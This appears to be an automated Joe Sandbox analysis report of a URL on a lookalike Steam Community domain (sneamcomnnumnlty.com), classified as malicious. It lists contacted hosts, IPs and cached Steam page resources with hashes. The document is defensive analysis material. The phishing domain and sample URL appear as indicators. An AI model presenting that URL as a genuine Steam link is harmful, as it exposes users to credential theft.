https://store.steampowered.com/?snr=1_14_qrlogin__global-responsive-menu	chromecache_201.2.dr	false		unknown
http://api.jqueryui.com/drop-effect/	chromecache_261.2.dr	false		unknown
https://store.steampowered.com/genre/Early%20Access/	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/bg/	chromecache_381.2.dr	false		unknown
https://store.steampowered.com/?snr=1_60_4__global-header	chromecache_228.2.dr	false		unknown
https://cloud.google.com/contact	chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	false	URL Reputation: safe	unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/2186680/capsule_231x87.jpg?t=1727	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithAccount	chromecache_381.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T	chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false		unknown
https://store.steampowered.com/stats/?snr=1_14_qrlogin__global-header	chromecache_201.2.dr	false		unknown
http://www.steampowered.com/steamworks/	chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/community/levels_flag.png	chromecache_330.2.dr	false		unknown
http://bugs.jquery.com/ticket/8235	chromecache_261.2.dr	false		unknown
https://help.steampowered.com/hu/	chromecache_381.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/	chromecache_219.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxSubmitRefundRequest/	chromecache_219.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM	chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false		unknown
https://steamcommunity.com/workshop/	chromecache_381.2.dr, chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false		unknown
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false		unknown
https://store.steampowered.com/search/smallcapscroll	chromecache_205.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithLimitedAccount	chromecache_347.2.dr	false		unknown
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	false	URL Reputation: safe	unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/2669320/capsule_231x87.jpg?t=1727	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithUnknownCharges	chromecache_381.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.19.126.223	community.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.64.145.151	community.cloudflare.steamstatic.com	United States	13335	CLOUDFLARENETUS	false
172.67.184.158	fonts.cdnfonts.com	United States	13335	CLOUDFLARENETUS	false
104.21.91.169	sneamcomnnumnlty.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.74.195	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.164.32	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.16.168.12	cdn.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
104.102.22.125	s.team	United States	16625	AKAMAI-ASUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.16.168.5	unknown	European Union	20940	AKAMAI-ASN1EU	false
95.101.149.47	store.steampowered.com	European Union	20940	AKAMAI-ASN1EU	false
172.67.175.206	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.168.6	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.16.238.7	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.102.49.254	help.steampowered.com	United States	16625	AKAMAI-ASUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
95.101.54.105	store.akamai.steamstatic.com	European Union	34164	AKAMAI-LONGB	false

Private

IP
192.168.2.8
192.168.2.6
192.168.2.12

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527679
Start date and time:	2024-10-07 08:45:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://sneamcomnnumnlty.com/hfjf748934924/geting/put
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@32/485@52/25
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://store.steampowered.com/mobile Browse: https://help.steampowered.com/ru/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.250.186.78, 74.125.206.84, 34.104.35.123, 142.250.186.42, 142.250.185.170, 216.58.206.74, 142.250.186.74, 142.250.185.106, 142.250.184.202, 142.250.74.202, 142.250.181.234, 172.217.18.10, 142.250.185.202, 142.250.185.234, 172.217.16.202, 216.58.206.42, 142.250.184.234, 216.58.212.170, 142.250.185.138, 13.95.31.18, 142.250.185.227, 172.217.16.131, 40.69.42.241, 52.165.164.15, 93.184.221.240, 104.18.187.31, 104.18.186.31, 172.217.18.106, 142.250.185.74, 142.250.186.138, 142.250.186.106, 142.250.186.170, 172.217.23.106, 172.217.16.138, 172.217.18.3, 216.58.212.163, 2.19.126.162, 2.19.126.159
Excluded domains from analysis (whitelisted): cdn.jsdelivr.net.cdn.cloudflare.net, slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, shared.akamai.steamstatic.com.edgesuite.net, clients2.google.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, a1949.dscb.akamai.net, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://store.steampowered.com/login/?14__global-header
Screenshot	https://s.team/q/1/2248518814943508887

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
SSDEEP:	1536:M+s43BGZsrolB21EJ4q+GIbdSW7VvCtQXjPM3mz1yxvjWRVIoFMe1V13836GKCnY:T1GZXlB2SUbxVv/zM3mZyxLUZGrSDfj9
MD5:	6168553BEF8C73BA623D6FE16B25E3E9
SHA1:	4A31273B6F37F1F39B855EDD0B764EC1B7B051E0
SHA-256:	D5692B785E18340807D75F1A969595BC8B1C408FB6FD63947775705E6D6BAA66
SHA-512:	0246CEE85A88068CA348694D38E63D46C753B03AFADF8BE76ECA18D21E3DE77B495215ED2384D62658A391104F9E00DF8605EDB77339366DF332C75691928EFB
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOSD.`>...l..u.GSUB.d....wT....OS/2vb.........`cmap.d.....X....cvt Hg.....,....fpgm.6!.........gasp.......$....glyf..........Xhead...a...@...6hhea.......x...$hmtx.NL.........loca{.:.........maxp.......,... name.s.U...L...Kpost............prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	11395
Entropy (8bit):	5.263154477395774
Encrypted:	false
SSDEEP:	192:Zh6vqbjETmhTKN8xveEK6lIgpROZ793t37NAmr3LETECO+2Mlx1DWX73Mf+uEm4m:Zhcf33TCO+2gByhC
MD5:	C16C39B56D72EE779A4C29FB1BB60DD3
SHA1:	F0A8114D6E311F91357B3A9041DBCD96857B90EC
SHA-256:	5CD83EEE34169798040BBF6221263F6C5A5CBE5801C285813566EC1153DFCE09
SHA-512:	BB79CF68FA15EA0D4C883C4069AC22E121503F8031F8D17B9E6480D4CE8C701B81835789FA2E2D65841D2124EA88CD35CA982748B79FBB76C28C5A32BA21F8ED
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/browse.css?v=wWw5tW1y7nea&l=english
Preview:	/* CSS Document /.....browse_header .page_title .blockbg {...background-color: #ff9900;...color: #000000;..}.....browse_floating_link {...float: right;...width: 288px;..}.....browse_links a {...color: #b0aeac;..}.....browse_links a.linkbar .rightblock {...color: #626366;..}.....tabbar {...white-space: nowrap;...margin-bottom: 10px;...overflow-x: auto;...overflow-y: hidden;..}..../ the preferred way is to wrap tabbar in tabbar_ctn, which helps handle horizontal scrolling on mobile */...tabbar_ctn {...margin-bottom: 10px;..}...tabbar_ctn .tabbar {...margin-bottom: 0;..}.....tabarea_filler {.. height: 40px;..}...tabarea .tab {.. display: inline-block;.. margin-right: 0px;.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. margin-top: 3px;.. padding: 1px;..}...tabarea .tab .tab_browse_option_label,...tabarea .tab .tab_content {.. background: rgba( 0, 0, 0, 0.2 );.. border-top-left-radius: 3px;.. border-top-right-radius: 3px;.. font-size: 13p

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansMedium4.015;Plau;MotivaS
Category:	downloaded
Size (bytes):	124048
Entropy (8bit):	6.074024700633004
Encrypted:	false
SSDEEP:	1536:v4Kkq/szjKJRIDCnR96guXgECINo28BZZDhpkemOXaxq4jKea8GyFLaE0Af0ffL9:vf/fxn7ElXxE0wS0fj9
MD5:	2D64CAA5ECBF5E42CBB766CA4D85E90E
SHA1:	147420ABCEB4A7FD7E486DDDCFE68CDA7EBB3A18
SHA-256:	045B433F94502CFA873A39E72D616C73EC1B4C567B7EE0F847F442651683791F
SHA-512:	C96556EC57DAC504919E806C7DF536C4F86892B8525739289B2F2DBBF475DE883A4824069DBDD4BB1770DD484F321563A00892E6C79D48818A4B95406BF1AF96
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Preview:	........... DSIG...........GDEF...4...,...@GPOS......l..u.GSUB.d....w.....OS/2u..........`cmap.d..........cvt G..t........fpgm.6!........gasp............glyf5.}2........head...W.......6hhea...v.......$hmtx._X.........loca.:yV........maxp.......l... names...........post.......<....prep..........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	19085
Entropy (8bit):	5.511337994885759
Encrypted:	false
SSDEEP:	384:fwtVMAjYb2JalUNlpczHK7eiHiEiN/mDP+pPIOw6GNNZhweP8/F:fmS6FJJNzczHK7bHix/mP+pPIOwlNzi
MD5:	7B19B559E1A22C6AB5E63A9BA871BE63
SHA1:	184C8349D74907506D852F7A3FFA3A7569900083
SHA-256:	FD894C40DB8B0C645E332557AC9CA8C604062389A8A3E2F4246A028A28561960
SHA-512:	ED94CFEE7B853A45ABF67FC4FA8BD8DA518E2D5437C7B595E2397A5C6C3938D9FF635DB7CA71B6326FAA08F6EFD82B657CB48904ABBB4E9FF6817DABEF38943D
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...display: none;...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....resp

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3687), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	50783
Entropy (8bit):	5.287254656712215
Encrypted:	false
SSDEEP:	1536:VEFFEolFkCBdexIB5vv81vdh0/vVvyvTj8yAo+LSkjBtPFkaXVbWhIo4IAZP/NbH:YL381Fhi9armsMbo3HGD
MD5:	2B70299C6DCA29267218574E49EC017E
SHA1:	342E717B3EE6E7E285351569E1D3F4746325CB8D
SHA-256:	50A35D70616A73F60CB7D5EF0E724D94BE6DA0B6F519474986CF67699E187F7B
SHA-512:	0CD3BA48C0F23A786BF525A7E2916FD5ED61CBB184B7C17AD07846041399532DB4A40F196EC1F7568BA5C1AEB4C49CB78418CC3D62742537DB47ABA1AAAA4780
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/about/qrlogin/1/2248518814943508887
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam, The Ultimate Online Game Platform</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akama

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41284, version 0.0
Category:	downloaded
Size (bytes):	41284
Entropy (8bit):	7.98997053635663
Encrypted:	false
SSDEEP:	768:6bvd2M/P1Exmz4SXIT1d0QDS/LH400ZT9O1HCL8TXAo3+woBHIL:6bvXSw4wIF+/F0ZT9OI2X9oBoL
MD5:	6A3575348AFB953ADDEA554183438636
SHA1:	BB136D68B07E69AB4272D098F522E2C740B668A7
SHA-256:	DEE2F7D9132CBDF82AC50B78835902A6000D29876F467F43BC0A8DF21BFD9DBD
SHA-512:	4401B4814CF15B10E832E64FFF3431A36BCC5A244B1F723556E6CDC5BFBD93BEB5B40365B2EE26BBA1930DC4E4751282F16B483A653C3B5A6C35C98748DA3670
Malicious:	false
Reputation:	low
URL:	https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff
Preview:	wOFF.......D......_.........................FFTM...(........m.._GDEF...@.../...6...3GPOS...$......(.S.GSUB...p.........n."OS/2.......P...`i(."cmap...d........\|[t.gasp...8............glyf......nx...0.Q.:head...X...1...6....hhea....... ...$....hmtx.......E....)H..loca...t...$...$'~a:maxp....... ... ....name..~..........&..post......./.... +..x.c`d`..."...m.2p3.`......`.....Y.X..\..&.(.dU.....x.c`d``.........~,.@...................................@......x.c`fe.............................. .;...A......9.N0.`....0.$....H)0...Xf.1x.....I...{;...$..m.k.m.m.m...>=.7..s.\|.].]..n...@Z.RR.Vy.Cz.....l..O.OP...J.A..z}..K.:...K1ze.....-H.P.[ R.@....=..b,...-Eh%...l=.[.(.9Xi..T}...F.....t.."..H.C..G^E.^.X.....w.8.o.\|2c\..M.a.)..W......!H.l..@..:Q.C..2.F..p..p...w=R.T...tc...U..H...dy.Z.C.v.l....Fl.8.O....0....<...m.R...r...1Z...es..........Lz...;\...y..,.w(../..C..3...I.\w.SPs.........S.P.1.4...u.mr.\|."q.&.....k....k.q.....A..o0..i..........#....{..G~.rc7.0.

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	dropped
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
Encrypted:	false
SSDEEP:	1536:qOpYuxcehc6Ac/ErbZz5T/q77xkLuEW6J/ItrMKBPQDsPsdCkCatn0noz4:3Yjge4ImVz
MD5:	F74CD0AE23533449CC8AF7F8F151A9BC
SHA1:	C48A1D9F24875C273B77618EF941BCC7C3E0188E
SHA-256:	911383C10ABC27CACB7BADC757EA3366CCE08643AA808B6281A7312FDAB63F59
SHA-512:	747DA2DF9F7FD391953BDDC96868BD2BF6E0042F602A15A661C72DD6345745B07A11DB2B56B769D4D4449F568A44920D066BD99D6ECA07C4E40DFC4CBB1B5EE4
Malicious:	false
Reputation:	low
Preview:	..function GotFlashPopup()..{...var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');...win.focus();..}....//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, del

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	89087
Entropy (8bit):	5.292489473516622
Encrypted:	false
SSDEEP:	1536:dpYuxcehc6Ac/Erc3h5N/a8axkNM2EVshJQIxrMKvPQfsPsdCkCatn0noz4:bYjg9MDsooz1
MD5:	9198B9AE5423B2B0A5B443CF8931263E
SHA1:	5DD6C35CBDE91945E2F730D80FE76FD029860C6E
SHA-256:	19C095CC08CAC827AF261E43869A55140EFF99917321489BCCF1A1C9E44BFA06
SHA-512:	85831025A485C982A42A222015FBEB7C912516D50208027D8C3B784C609E1206EAD068285D09CD32FDAAE760DC0D6E124AA80E496B197133A4F803B0AE357353
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/main.js?v=kZi5rlQjsrCl&l=english
Preview:	..//..// Page-able tabs..//..var tabStart = { };..var tabMax = { };..var tabTransition = { };..function PageTab( tab, delta, max, params )..{...if ( tabTransition[tab] )....return;.....if ( !tabStart[tab] )....tabStart[tab] = 0;...if ( !tabMax[tab] )....tabMax[tab] = 0;.....if ( tabStart[tab] + delta >= max )....return;.....tabStart[tab] += delta;...tabTransition[tab] = true;...if ( tabStart[tab] > tabMax[tab] )...{....if ( !params ).....params = {};....params.tab = tab;....params.start = tabStart[tab];....params.count = delta;....new Ajax.Updater(......'tab_' + tab + '_items',......'https://store.steampowered.com/search/tab',......{ parameters: params, method: 'get', insertion: 'bottom', onComplete: TabCompletionClosure( tab, delta, max ) } );....tabMax[tab] = tabStart[tab];...}...else...{....RollTab( tab, delta );....TabUpdateCounts( tab, delta, max );...}....}....function TabCompletionClosure( tab, delta, max )..{...var tab_closure = tab;...var delta_closure = delta;...var max_closu

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	dropped
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1057 x 500, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	91821
Entropy (8bit):	7.97862748702447
Encrypted:	false
SSDEEP:	1536:rGLZEQtg962orTGD2BSawMK9p/b5I9YIJaAeonTfAF82jGxBsi+xInyzh9:yK02orTG+Saw+pemTN2jo+xIno9
MD5:	9710FB94ABBE4A6930C1A1105906A711
SHA1:	6C1558FA952EFD6926EF63BF16A9C60B9C1E4B8C
SHA-256:	025EA18ED8A21D1C9AE8DD92AC76C4667899D7254039FD0B2AF95A8E4AAE81D8
SHA-512:	DAF84971868F8C1138469C39369E0FC60F9B6F153A6CB81ACAADACE755F8160720D56A930F13336F1F879AB0A77C7BAB229A1405D567E5EBD161FA0C161F30E2
Malicious:	false
Reputation:	low
